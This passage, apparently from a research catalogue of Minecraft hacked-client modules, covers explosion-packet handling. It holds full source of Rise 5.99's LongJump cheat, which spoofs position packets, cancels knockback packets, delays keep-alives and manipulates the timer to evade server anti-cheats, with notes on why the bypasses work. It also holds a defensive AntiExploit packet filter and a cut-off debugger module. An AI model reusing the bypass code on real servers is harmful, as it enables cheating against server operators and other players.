Category.MOVEMENT)\npublic final class LongJump extends Module {\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Redesky\", \"Redesky\", \"Redesky 2\", \"Cubecraft\", \"Hypixel\", \"NCP\", \"Minemenclub\", \"Minemenclub Safe\", \"Vulcan\", \"Taka\");\n    private final ModeSetting ncpMode = new ModeSetting(\"NCP Mode\", this, \"Normal\", \"Normal\", \"Damage\");\n    private final BooleanSetting smoothCamera = new BooleanSetting(\"Smooth Camera\", this, false);\n    private final BooleanSetting autoDisable = new BooleanSetting(\"Auto Disable\", this, true);\n    private final NumberSetting onGroundSpeed = new NumberSetting(\"On Ground Speed\", this, 0.4, 0.1, 3, 0.1);\n    private final NumberSetting offGroundSpeed = new NumberSetting(\"Off Ground Speed\", this, 1.4, 0.1, 3, 0.1);\n    private final NumberSetting timer = new NumberSetting(\"Timer\", this, 1, 0.1, 2, 0.1);\n    private final NumberSetting viewBobbing = new NumberSetting(\"View Bobbing\", this, 0, 0, 0.1, 0.01);\n    private final NumberSetting hypixelTimer = new NumberSetting(\"Hypixel Timer\", this, 1, .1, 2.25, 0.05);\n\n    private boolean beingDmged, jumped, reset, glide, receivedDamage, boosted;\n    private int offGroundTicks, stage, jumps;\n    private int ticks, i;\n    private int waitTicks;\n    private float oPositionY;\n    private double moveSpeed, lastDist, startX, startY, startZ;\n    private final ConcurrentLinkedQueue<Packet<?>> packetList = new ConcurrentLinkedQueue<>();\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        offGroundSpeed.hidden = onGroundSpeed.hidden = !(mode.is(\"NCP\") && ncpMode.is(\"Normal\"));\n\n        timer.hidden = !(mode.is(\"NCP\"));\n\n        ncpMode.hidden = !mode.is(\"NCP\");\n        hypixelTimer.hidden = !mode.is(\"Hypixel\");\n    }\n\n    @Override\n    protected void onEnable() {\n        waitTicks = 0;\n        offGroundTicks = 0;\n        reset = glide = receivedDamage = boosted = false;\n        ticks = stage = i = jumps = 0;\n        startX = mc.thePlayer.posX;\n        startY = mc.thePlayer.posY;\n        startZ = mc.thePlayer.posZ;\n\n        switch (mode.getMode()) {\n            case \"Hycraft\":\n                if (!mc.thePlayer.onGround) {\n                    this.registerNotification(\"Cannot enable \" + this.getModuleInfo().name() + \" in air.\");\n                    this.toggleModule();\n                }\n                break;\n            case \"Taka\":\n                mc.timer.timerSpeed = 0.2F;\n\n                for (int i = 0; i < 8; i++) {\n                    PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.42F, mc.thePlayer.posZ, false));\n                    PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false));\n                }\n                break;\n\n            case \"Vulcan\":\n                if (!mc.thePlayer.onGround) {\n                    this.registerNotification(\"Cannot enable \" + this.getModuleInfo().name() + \" in air.\");\n                    this.toggleModule();\n                }\n                break;\n        }\n\n        oPositionY = (float) mc.thePlayer.posY;\n    }\n\n    @Override\n    protected void onDisable() {\n        boosted = false;\n        mc.thePlayer.speedInAir = 0.02f;\n        mc.thePlayer.jumpMovementFactor = 0.02F;\n        mc.timer.timerSpeed = 1;\n        EntityPlayer.enableCameraYOffset = false;\n        moveSpeed = lastDist = 0;\n        beingDmged = false;\n        jumped = false;\n\n        switch (mode.getMode()) {\n            case \"NCP\":\n                if (ncpMode.is(\"Damage\") && mc.thePlayer.inventory.currentItem != i)\n                    PacketUtil.sendPacketWithoutEvent(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));\n                break;\n        }\n\n        if (!mc.isIntegratedServerRunning()) {\n        }\n\n    }\n\n    @Override\n    public void onMove(final MoveEvent event) {\n        switch (mode.getMode()) {\n            case \"NCP\":\n                if (ncpMode.is(\"Damage\")) {\n                    if (mc.thePlayer.hurtTime > 0)\n                        jumped = true;\n\n                    if (!jumped)\n                        return;\n\n                    if (MoveUtil.isMoving() && !mc.thePlayer.isCollidedHorizontally) {\n                        mc.timer.timerSpeed = (float) timer.getValue();\n                        if (mc.thePlayer.onGround) {\n                            moveSpeed = Math.max(0.2873 * 2.15, moveSpeed);\n                            reset = true;\n                        } else if (reset) {\n                            moveSpeed += 0.15 * (moveSpeed - 0.2873);\n                            reset = false;\n                        } else {\n                            moveSpeed = lastDist - lastDist / 159.998;\n                        }\n                    } else {\n                        mc.timer.timerSpeed = 1;\n                        moveSpeed = 0;\n                    }\n\n                    MoveUtil.setMoveEventSpeed(event, Math.max(moveSpeed, 0.2873));\n\n                    switch (stage) {\n                        case 0:\n                            if (mc.thePlayer.onGround) {\n                                event.setY(mc.thePlayer.motionY = (0.424 - Math.random() / 500));\n                                stage++;\n                            }\n                            break;\n\n                        case 1:\n                            event.setY(mc.thePlayer.motionY = 0.42F);\n                            stage++;\n                            break;\n\n                        case 2:\n                        case 3:\n                        case 4:\n                        case 5:\n                            stage++;\n                            break;\n                    }\n\n                    if (glide) {\n                        event.setY(mc.thePlayer.motionY += (0.045 - Math.random() / 500));\n                        stage++;\n                    }\n                }\n                break;\n\n        }\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        final Packet<?> p = event.getPacket();\n        if (mode.is(\"Hycraft\") && (p instanceof S12PacketEntityVelocity || p instanceof S27PacketExplosion)) {\n            event.setCancelled(true);\n        }\n        if (mode.is(\"Vulcan\") && (p instanceof S12PacketEntityVelocity || p instanceof S27PacketExplosion))\n            event.setCancelled(true);\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        final Packet<?> p = event.getPacket();\n\n        switch (mode.getMode()) {\n            case \"Vulcan\":\n                if (!receivedDamage && p instanceof C03PacketPlayer)\n                    event.setCancelled(true);\n\n                if (p instanceof C0FPacketConfirmTransaction || p instanceof C00PacketKeepAlive) {\n                    packetList.add(p);\n                    event.setCancelled(true);\n                }\n                break;\n\n            case \"Hypixel\":\n                break;\n        }\n    }\n\n    @Override\n    public void onStrafe(final StrafeEvent event) {\n        switch (mode.getMode()) {\n            case \"Minemenclub\":\n            case \"Minemenclub Safe\":\n                if (!jumped)\n                    event.setCancelled(true);\n                break;\n\n            case \"NCP\":\n                if (ncpMode.is(\"Damage\") && !jumped)\n                    event.setCancelled(true);\n                break;\n\n            case \"Vulcan\":\n                if (!receivedDamage)\n                    event.setCancelled(true);\n                break;\n\n        }\n    }\n\n    @Override\n    public void onRender2DEvent(final Render2DEvent event) {\n//        if(mode.is(\"Hypixel\")) {\n//            final float x = (float) 445;\n//            final float y = (float) 260;\n//\n//            final float width = (float) (5 + (waitTicks * 1.935));\n//            final float height = 6;\n//            RenderUtil.rect(x, y, 68.9, height, new Color(0, 0, 0, 100));\n//\n//            RenderUtil.rect(x, y, width, height, ThemeUtil.getThemeColor(ThemeType.GENERAL));\n//        }\n    }\n\n    @Override\n    public void onMoveButton(MoveButtonEvent event) {\n        if (mode.is(\"Hypixel\")) {\n            if (ticks <= 11 * 3) {\n                event.setForward(false);\n                event.setBackward(false);\n                event.setLeft(false);\n                event.setRight(false);\n            }\n        }\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        //Utils\n        ++ticks;\n\n        if (mc.thePlayer.ticksExisted == 1) {\n            toggleModule();\n        }\n\n        if (mc.thePlayer.onGround) {\n            if (autoDisable.isEnabled() && (!(mode.is(\"Minemenclub\") || mode.is(\"Minemenclub Safe\")) ? offGroundTicks > 0 : offGroundTicks > 5) && !mode.getMode().equals(\"Hypixel\")) {\n                this.toggleModule();\n                return;\n            }\n\n            offGroundTicks = 0;\n        } else {\n            offGroundTicks++;\n        }\n\n        final double x = mc.thePlayer.posX - mc.thePlayer.prevPosX;\n        final double z = mc.thePlayer.posZ - mc.thePlayer.prevPosZ;\n        lastDist = Math.hypot(x, z);\n\n        EntityPlayer.enableCameraYOffset = false;\n\n        if (smoothCamera.isEnabled()) {\n            if (mc.thePlayer.posY > oPositionY) {\n                EntityPlayer.enableCameraYOffset = true;\n                EntityPlayer.cameraYPosition = oPositionY;\n            }\n        }\n\n        mc.thePlayer.cameraYaw = (float) viewBobbing.getValue();\n\n        switch (mode.getMode()) {\n            case \"Redesky\":\n\n                if (mc.thePlayer.onGround) {\n                    mc.thePlayer.jump();\n                    mc.thePlayer.motionZ *= 1.2;\n                    mc.thePlayer.motionX *= 1.2;\n                }\n\n                if (offGroundTicks == 1) {\n                    mc.thePlayer.motionZ *= 1.2;\n                    mc.thePlayer.motionX *= 1.2;\n                }\n\n                break;\n\n            case \"Redesky 2\":\n\n                if (mc.thePlayer.isCollidedHorizontally) {\n                    toggleModule();\n                    return;\n                }\n\n                final Block block2 = mc.thePlayer.worldObj.getBlockState(new BlockPos(\n                        MathHelper.floor_double(mc.thePlayer.posX),\n                        MathHelper.floor_double(mc.thePlayer.getEntityBoundingBox().minY - 0.5) - 1,\n                        MathHelper.floor_double(mc.thePlayer.posZ))).getBlock();\n\n                if (ticks > 10 && !(block2 instanceof BlockAir)) {\n                    toggleModule();\n                    return;\n                }\n\n                mc.timer.timerSpeed = (float) (0.5 + Math.random() / 10);\n\n                if (mc.thePlayer.onGround) {\n                    mc.thePlayer.jump();\n                }\n\n                if (!mc.thePlayer.onGround) {\n                    mc.thePlayer.jumpMovementFactor = 0.18f;\n\n                    mc.thePlayer.motionY += mc.thePlayer.motionY > 0.0 ? 0.055 : mc.thePlayer.motionY < 0.3 ? 0.01 : 0.03;\n                }\n\n\n                break;\n\n            case \"Minemenclub Safe\":\n                if (MoveUtil.isMoving() && (PlayerUtil.isOnServer(\"minemen\") || PlayerUtil.isOnServer(\"mineman\"))) {\n                    if (mc.thePlayer.onGround) {\n                        if (!beingDmged) {\n                            event.setY(event.getY() - (2.5 - Math.random() / 100));\n                            jumped = false;\n                            moveSpeed = 0;\n                        } else {\n                            jumped = true;\n                            moveSpeed = MoveUtil.getBaseMoveSpeed() + (0.32 - Math.random() / 100);\n                            mc.thePlayer.jump();\n                            mc.thePlayer.motionY = MoveUtil.getJumpMotion((float) (0.6 - Math.random() / 100));\n                        }\n                    } else\n                        MoveUtil.strafe();\n                } else\n                    moveSpeed = 0;\n\n                beingDmged = mc.thePlayer.onGround && mc.thePlayer.hurtTime > 0;\n\n                MoveUtil.strafe(moveSpeed);\n                break;\n\n            case \"Minemenclub\":\n                if (MoveUtil.isMoving() && (PlayerUtil.isOnServer(\"minemen\") || PlayerUtil.isOnServer(\"mineman\"))) {\n                    if (mc.thePlayer.onGround) {\n                        if (!beingDmged) {\n                            event.setY(event.getY() - (2.5 - Math.random() / 100));\n                            jumped = false;\n                            moveSpeed = 0;\n                        } else {\n                            jumped = true;\n                            moveSpeed = MoveUtil.getBaseMoveSpeed() + (1 - Math.random() / 100);\n                            mc.thePlayer.motionY = MoveUtil.getJumpMotion((float) (0.6 - Math.random() / 100));\n                        }\n                    } else\n                        MoveUtil.strafe();\n                } else\n                    moveSpeed = 0;\n\n                beingDmged = mc.thePlayer.onGround && mc.thePlayer.hurtTime > 0;\n\n                MoveUtil.strafe(moveSpeed);\n                break;\n\n            case \"Cubecraft\":\n                if (MoveUtil.isMoving()) {\n                    switch (offGroundTicks) {\n                        case 0:\n                            DamageUtil.damagePlayer(DamageUtil.DamageType.POSITION, 0.0465, false, true);\n\n                            mc.thePlayer.jump();\n                            mc.thePlayer.motionY = MoveUtil.getJumpMotion((float) (0.6 + (Math.random() / 100)));\n                            MoveUtil.strafe(0.4 - (Math.random() / 500));\n                            break;\n\n                        case 1:\n                            MoveUtil.strafe(0.6 - (Math.random() / 500));\n                            break;\n                    }\n\n                    if (mc.thePlayer.fallDistance > 0 && mc.thePlayer.fallDistance < 3)\n                        mc.thePlayer.motionY += 0.0425 + (Math.random() / 500);\n                } else\n                    MoveUtil.stop();\n                MoveUtil.strafe();\n                break;\n\n            case \"NCP\":\n                switch (ncpMode.getMode()) {\n                    case \"Normal\": {\n                        if (MoveUtil.isMoving()) {\n                            if (mc.thePlayer.onGround) {\n                                mc.thePlayer.jump();\n                                mc.thePlayer.motionY = MoveUtil.getJumpMotion((float) (0.424 - Math.random() / 500));\n                                MoveUtil.strafe(onGroundSpeed.getValue());\n                            }\n\n                            if (offGroundTicks == 1)\n                                MoveUtil.strafe(offGroundSpeed.getValue());\n\n                            if (mc.thePlayer.fallDistance > 0 && mc.thePlayer.fallDistance < 3)\n                                mc.thePlayer.motionY += 0.03 + Math.random() / 500;\n\n                            mc.timer.timerSpeed = (float) timer.getValue();\n                        } else {\n                            MoveUtil.stop();\n                            mc.timer.timerSpeed = 1;\n                        }\n                        MoveUtil.strafe();\n                        break;\n                    }\n\n                    case \"Damage\": {\n                        ItemStack itemStack;\n\n                        if (!jumped)\n                            event.setPitch(-RandomUtils.nextFloat(89, 90));\n\n                        int sexySlot = -1;\n                        int shitSlot = -1;\n\n                        if (!beingDmged) {\n                            for (i = 0; i < 9; ++i) {\n                                itemStack = mc.thePlayer.inventoryContainer.getSlot(i + 36).getStack();\n\n                                if (itemStack != null) {\n                                    final Item item = itemStack.getItem();\n\n                                    if (itemStack.getItem() instanceof ItemBow) {\n                                        for (int i = 0; i < mc.thePlayer.inventory.mainInventory.length; i++) {\n                                            final ItemStack stack = mc.thePlayer.inventory.mainInventory[i];\n\n                                            if (stack != null) {\n                                                if (stack.getItem().getUnlocalizedName().contains(\"arrow\")) {\n                                                    sexySlot = this.i;\n                                                }\n                                            }\n                                        }\n                                    }\n\n                                    if (item instanceof ItemFishingRod || item instanceof ItemSnowball || item instanceof ItemEgg) {\n                                        shitSlot = i;\n                                    }\n                                }\n                            }\n\n                            if (sexySlot != -1) {\n                                itemStack = mc.thePlayer.inventoryContainer.getSlot(sexySlot + 36).getStack();\n\n                                if (mc.thePlayer.inventory.currentItem != sexySlot && ticks == 1) {\n                                    PacketUtil.sendPacketWithoutEvent(new C09PacketHeldItemChange(sexySlot));\n                                }\n\n                                if (ticks == 5 + randomInt(0, 1)) {\n                                    mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(itemStack));\n                                }\n\n                                ticks++;\n\n                                if (ticks == 11 + randomInt(1, 2)) {\n                                    PacketUtil.sendPacketWithoutEvent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));\n                                    beingDmged = true;\n                                }\n                            } else if (shitSlot != -1) {\n                                itemStack = mc.thePlayer.inventoryContainer.getSlot(shitSlot + 36).getStack();\n\n                                if (mc.thePlayer.inventory.currentItem != shitSlot)\n                                    PacketUtil.sendPacketWithoutEvent(new C09PacketHeldItemChange(shitSlot));\n\n                                mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(itemStack));\n\n                                beingDmged = true;\n                            }\n                        }\n                        break;\n                    }\n                }\n                break;\n\n            case \"Vulcan\": {\n                final double[] jumpValues = new double[]{0.42F, 0.33319999363422365, 0.24813599859094576, 0.16477328182606651, 0.08307781780646721, 0.0030162615090425808};\n\n                if (mc.thePlayer.onGround && ticks == 5 && !beingDmged) {\n                    for (int i = 0; i < 6; i++) {\n                        double position = mc.thePlayer.posY;\n                        for (final double value : jumpValues) {\n                            position += value;\n\n                            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, position, mc.thePlayer.posZ, false));\n                        }\n                    }\n                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer(true));\n                    event.setGround(true);\n\n                    beingDmged = true;\n                }\n\n                if (mc.thePlayer.hurtTime > 0)\n                    receivedDamage = true;\n\n                if (receivedDamage) {\n                    mc.timer.timerSpeed = 1;\n\n                    if (!boosted) {\n                        float motion = 0.6F;\n\n                        if (PlayerUtil.getBlockRelativeToPlayer(0, -0.5, 0).getUnlocalizedName().contains(\"bed\"))\n                            motion = 1.5F;\n\n                        mc.thePlayer.motionY = motion - (Math.random() / 100);\n                        MoveUtil.strafe(9.5 - (Math.random() / 500));\n                        boosted = true;\n                    } else if (offGroundTicks == 1)\n                        MoveUtil.strafe(0.5 - (Math.random() / 500));\n\n                    if (mc.thePlayer.fallDistance > 0)\n                        mc.thePlayer.motionY += 0.02 - (Math.random() / 10000);\n                }\n                break;\n            }\n\n            case \"Taka\": {\n                if (mc.thePlayer.hurtTime == 9) {\n                    ticks = 0;\n\n                    mc.timer.timerSpeed = 1.0F;\n\n                    MoveUtil.strafe(9.85F);\n                    mc.thePlayer.motionY = 0.42F;\n                }\n\n                if (ticks < 13) {\n                    MoveUtil.strafe(9.85F);\n                }\n\n                if (ticks == 13) {\n                    MoveUtil.strafe(0.25F);\n                }\n\n                break;\n            }\n\n            case \"Hypixel\": {\n\n                MoveUtil.strafe();\n\n                if (ticks <= 11 * 3) {\n                    waitTicks++;\n                    mc.timer.timerSpeed = 5.25F;\n                    if (mc.thePlayer.onGround) {\n                        mc.thePlayer.motionY = 0.42f;\n                    }\n\n                    mc.thePlayer.cameraYaw = 0;\n                    mc.thePlayer.cameraPitch = 0;\n                    mc.thePlayer.posY -= mc.thePlayer.posY - mc.thePlayer.lastTickPosY;\n                    mc.thePlayer.lastTickPosY -= mc.thePlayer.posY - mc.thePlayer.lastTickPosY;\n\n                    MoveUtil.stop();\n                    event.setGround(false);\n                    if (mc.thePlayer.hurtTime > 0) {\n                        toggleModule();\n                        this.registerNotification(\"Disabled \" + this.getModuleInfo().name() + \" due to damage before intial jump.\");\n\n                    }\n                } else {\n                    mc.timer.timerSpeed = (float) hypixelTimer.getValue();\n                    if (mc.thePlayer.hurtTime > 0) {\n                        receivedDamage = true;\n                    }\n                    if (mc.thePlayer.onGround) {\n                        if (ticks <= 11 * 4) {\n                            mc.thePlayer.motionY = 0.76 - Math.random() / 100;\n                        } else if (autoDisable.isEnabled()) {\n                            toggleModule();\n                        }\n                    }\n\n                    if (offGroundTicks > 15) {\n                        MoveUtil.strafe();\n                        return;\n                    }\n\n                    switch (offGroundTicks) {\n                        case 1:\n                            if (!mc.thePlayer.isPotionActive(Potion.moveSpeed)) {\n                                MoveUtil.strafe(MoveUtil.getBaseMoveSpeed() * 1.6 - Math.random() / 100);\n                            } else {\n                                MoveUtil.strafe(MoveUtil.getBaseMoveSpeed() * 1.7 - Math.random() / 100);\n                            }\n                            break;\n\n                    }\n                    if (offGroundTicks > 1 && !mc.thePlayer.isPotionActive(Potion.moveSpeed)) {\n                        MoveUtil.strafe(MoveUtil.getBaseMoveSpeed() * 1.07 - Math.random() / 100);\n\n                    }\n                    if (offGroundTicks > 1 && mc.thePlayer.isPotionActive(Potion.moveSpeed)) {\n                        MoveUtil.strafe(MoveUtil.getBaseMoveSpeed() * 1.02 - Math.random() / 100);\n                    }\n\n                    if (!mc.thePlayer.onGround) {\n                        mc.thePlayer.motionY += 0.027f - Math.random() / 100;\n                    }\n\n                    if (offGroundTicks <= 5 && offGroundTicks > 1) {\n                        MoveUtil.strafe(MoveUtil.getSpeed() * 1.29);\n                    }\n                }\n\n                break;\n            }\n        }\n\n    }\n}\n// NOTE (AI): The relevant surface is onPacketReceive: Hycraft and Vulcan modes cancel both S12 and S27 before the vanilla handler can apply them. The rest of the file is the staged jump state machine (position spoofing for Vulcan, damage-triggered boosts, timer manipulation). This is a movement module that treats S27 purely as an obstacle to filter, unlike a velocity module that scales it.",
      "code_source": "Rise 5.99, dev/rise/module/impl/movement/LongJump.java",
      "vanilla_hook": "PacketReceiveEvent (onPacketReceive).",
      "anti_cheat_notes": "Cancelling S27 mid-jump is one of the oldest velocity tells because the motion discontinuity is measurable. These modes rely on the server's knockback check being absent or on the jump's speed exceeding what the anti-cheat expects, which is why they are mode-gated to specific servers.",
      "variations": "Rise 5.99 Fly handles S27 in Minemenclub mode; Sigma Fly uses S27 as an explosion boost input in its packet handler; Sigma's InfiniteAura imports S27 (the corpus shows the import only, unused in the visible body)."
     },
     {
      "name": "AntiExploit",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "Block crash-exploit S27 floods from malicious servers by bounding explosion strength and arrival rate.",
      "how_it_works": "PacketReceiveEvent handler: cancels S27 when abs(strength) > 1 or when two explosions arrive within 1 ms, printing a blocked-exploit chat message. The same handler covers resource-pack, camera, particle and teleport crash vectors with the same pattern, and a separate packet-count throttle kicks the client-side watchdog when inbound packet rate exceeds 100/sec.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/module/impl/misc/AntiExploit.java =====\npackage dev.tenacity.module.impl.misc;\n\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.packet.PacketReceiveEvent;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.module.ModuleCategory;\nimport dev.tenacity.util.misc.ChatUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.*;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\n\npublic class AntiExploit extends Module {\n\n\n\n    private long lastExplosion = 0, lastExperience = 0;\n    private int invalidExperience = 0;\n   final int PACKET_THRESHOLD = 100;\n    final long CHECK_INTERVAL = 1000;\n    int packetCount = 0;\n\n    public AntiExploit() {\n        super(\"AntiExploit\", \"Prevents server exploits\", ModuleCategory.MISC);\n    }\n\n    private final IEventListener<PacketReceiveEvent> onReceivePacket = event -> {\n        Packet<?> packet = event.getPacket();\n        handlePacketCount();\n        if(packet instanceof S48PacketResourcePackSend) {\n            S48PacketResourcePackSend resourcePack = (S48PacketResourcePackSend) packet;\n\n            try {\n                URI uri = new URI(resourcePack.getURL());\n                String scheme = uri.getScheme();\n\n                boolean isLevelProtocol = scheme.equalsIgnoreCase(\"level\");\n                boolean isHttpProtocol = scheme.equalsIgnoreCase(\"http\");\n                boolean isHttpsProtocol = scheme.equalsIgnoreCase(\"https\");\n\n                if(!isHttpProtocol && !isHttpsProtocol && !isLevelProtocol) {\n                    ChatUtil.print(\"§cBlocked Exploit: Resource Pack\");\n                    event.cancel();\n                } else if(isLevelProtocol && (resourcePack.getURL().contains(\"..\") || !((S48PacketResourcePackSend) packet).getURL().endsWith(\"/resources.zip\"))) {\n                    ChatUtil.print(\"§cBlocked Exploit: File Access\");\n                    event.cancel();\n                    mc.getNetHandler().addToSendQueue(new C19PacketResourcePackStatus(((S48PacketResourcePackSend) packet).getHash(), C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n                }\n            } catch (URISyntaxException exception) {\n                ChatUtil.print(\"§cBlocked Exploit: Resource Pack\");\n                event.cancel();\n                mc.getNetHandler().addToSendQueue(new C19PacketResourcePackStatus(((S48PacketResourcePackSend) packet).getHash(), C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n            }\n        } else if(packet instanceof S43PacketCamera && !mc.thePlayer.isSpectator()) {\n            ChatUtil.print(\"§cBlocked Exploit: Crash\");\n            event.cancel();\n        } else if(packet instanceof S2APacketParticles) {\n            S2APacketParticles particles = (S2APacketParticles) packet;\n            if(Math.abs(particles.getParticleSpeed()) >= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Particles\");\n                event.cancel();\n            } else if(((S2APacketParticles) packet).getParticleCount() > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            }\n        } else if(packet instanceof S27PacketExplosion) {\n            S27PacketExplosion explosion = (S27PacketExplosion) packet;\n\n            if(Math.abs(explosion.getStrength()) > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            } else if(System.currentTimeMillis() - lastExplosion <= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            } else if(packet instanceof S2APacketParticles) {\n            S2APacketParticles particles = (S2APacketParticles) packet;\n\n            if(Math.abs(particles.getParticleSpeed()) > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Particles\");\n                event.cancel();\n            } else if(particles.getParticleCount() >= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            }\n        }\n\n            lastExplosion = System.currentTimeMillis();\n        } else if(packet instanceof S18PacketEntityTeleport) {\n            S18PacketEntityTeleport teleport = (S18PacketEntityTeleport) packet;\n\n            double packetX = Math.abs(teleport.getX());\n            double packetY = Math.abs(teleport.getY());\n            double packetZ = Math.abs(teleport.getZ());\n\n            if(packetX > 30000000 || packetY > 30000000 || packetZ > 30000000) {\n                ChatUtil.print(\"§cBlocked Exploit: Teleport\");\n                event.cancel();\n            }\n        } else if(packet instanceof S11PacketSpawnExperienceOrb) {\n            if(System.currentTimeMillis() - lastExperience <= 1) {\n                invalidExperience++;\n\n                if(invalidExperience >= 2) {\n                    ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                    event.cancel();\n                }\n            } else {\n                invalidExperience = 0;\n            }\n            lastExperience = System.currentTimeMillis();\n        }\n\n    };\n\n    private void triggerKick() {\n        ChatUtil.print(\"§cAbnormal packet activity detected. Kicking player...\");\n    }\n        private void handlePacketCount() {\n            long currentTime = System.currentTimeMillis();\n\n            long lastPacketCheckTime = 0;\n            if (currentTime - lastPacketCheckTime > CHECK_INTERVAL) {\n                packetCount = 0;\n                lastPacketCheckTime = currentTime;\n            }\n            packetCount++;\n            if (packetCount > PACKET_THRESHOLD) {\n                triggerKick();\n                packetCount = 0;\n        }\n\n    }\n\n}\n// NOTE (AI): The S27 branch is the third check in the chain: strength bound, then a 1 ms inter-arrival gate keyed on lastExplosion. The threshold is deliberately strict because vanilla explosion strength is at most ~4.0 for TNT and ~6.0 for beds, so anything above 1.0 is already anomalous. Note the duplicated S2A branch and the packet-count throttle, which protect against the same flood from the particle side.",
      "code_source": "Tenacity 6.0, dev/tenacity/module/impl/misc/AntiExploit.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "Not a cheat at all, it is client-side self-defense against lag machines. Nothing flags it because it only cancels inbound packets. Its strength heuristic is coarser than Rise's ExplosionCheck, which thresholds the motion floats at Byte.MAX_VALUE instead of the strength float.",
      "variations": "Rise 6.1.30/6.2.4 ship the equivalent as a security feature, ExplosionCheck.java, which cancels S27 when any motion float exceeds Byte.MAX_VALUE (mirroring the wire format's signed-byte block offsets)."
     },
     {
      "name": "Debugger",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Print explosion velocity values to chat as part of a packet-level debug overlay for development and bypass work.",
      "how_it_works": "PacketReceiveEvent handler: when the Velocity toggle is on and the packet is S27PacketExplosion, prints DeltaX/DeltaY/DeltaZ from func_149149_c / func_149144_d / func_149147_e, the same motion floats velocity modules mutate. The debug output shows the exact knockback vector a server sends, letting a developer tune a velocity mode's scaling against real traffic.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/other/Debugger.java =====\npackage com.alan.clients.module.impl.other;\n\nimport com.alan.clients.Client;\nimport com.alan.clients.component.impl.player.BlinkComponent;\nimport com.alan.clients.component.impl.render.ESPComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.event.impl.render.Render2DEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.interfaces.ThreadAccess;\nimport com.alan.clients.util.math.MathUtil;\nimport com.alan.clients.util.render.RenderUtil;\nimport com.alan.clients.util.vector.Vector2d;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.DragValue;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.EnumChatFormatting;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.awt.*;\nimport java.lang.reflect.Field;\nimport java.time.LocalDateTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.ArrayList;\nimport java.util.HashMap;\n\nimport static com.alan.clients.layer.Layers.*;\n\n@ModuleInfo(aliases = {\"module.other.debugger.name\"}, category = Category.PLAYER, description = \"module.other.debugger.description\")\npublic final class Debugger extends Module implements ThreadAccess {\n\n    private final BooleanValue transaction = new BooleanValue(\"Transactions\", this, true);\n    private final BooleanValue keepAlive = new BooleanValue(\"Keep Alive\", this, true);\n    private final BooleanValue teleport = new BooleanValue(\"Teleport\", this, true);\n    private final BooleanValue velocity = new BooleanValue(\"Velocity\", this, true);\n    private final BooleanValue abilities = new BooleanValue(\"Abilities\", this, true);\n    private final BooleanValue displayAll = new BooleanValue(\"Display All\", this, true);\n    private final BooleanValue blacklist = new BooleanValue(\"Blacklist\", this, true, () -> !displayAll.getValue());\n    private final BooleanValue time = new BooleanValue(\"Time Since Move\", this, true, () -> !displayAll.getValue());\n    private final BooleanValue devPanel = new BooleanValue(\"Dev Panel\", this, false);\n    private final BooleanValue eventCalls = new BooleanValue(\"Event Calls\", this, false);\n\n    private final DragValue position = new DragValue(\"\", this, new Vector2d(200, 200), true);\n\n    private final DateTimeFormatter date = DateTimeFormatter.ofPattern(\"MM/dd/yyyy\");\n    private final ArrayList<String> blacklisted = new ArrayList<>();\n\n    public static HashMap<String, Integer> calls = new HashMap<>();\n    private long threadLag;\n    private boolean measuring;\n    private StopWatch stopWatch = new StopWatch();\n\n    @Override\n    public void onEnable() {\n        blacklisted.clear();\n    }\n\n    @EventLink\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        if (!Client.DEVELOPMENT_SWITCH) return;\n\n        final 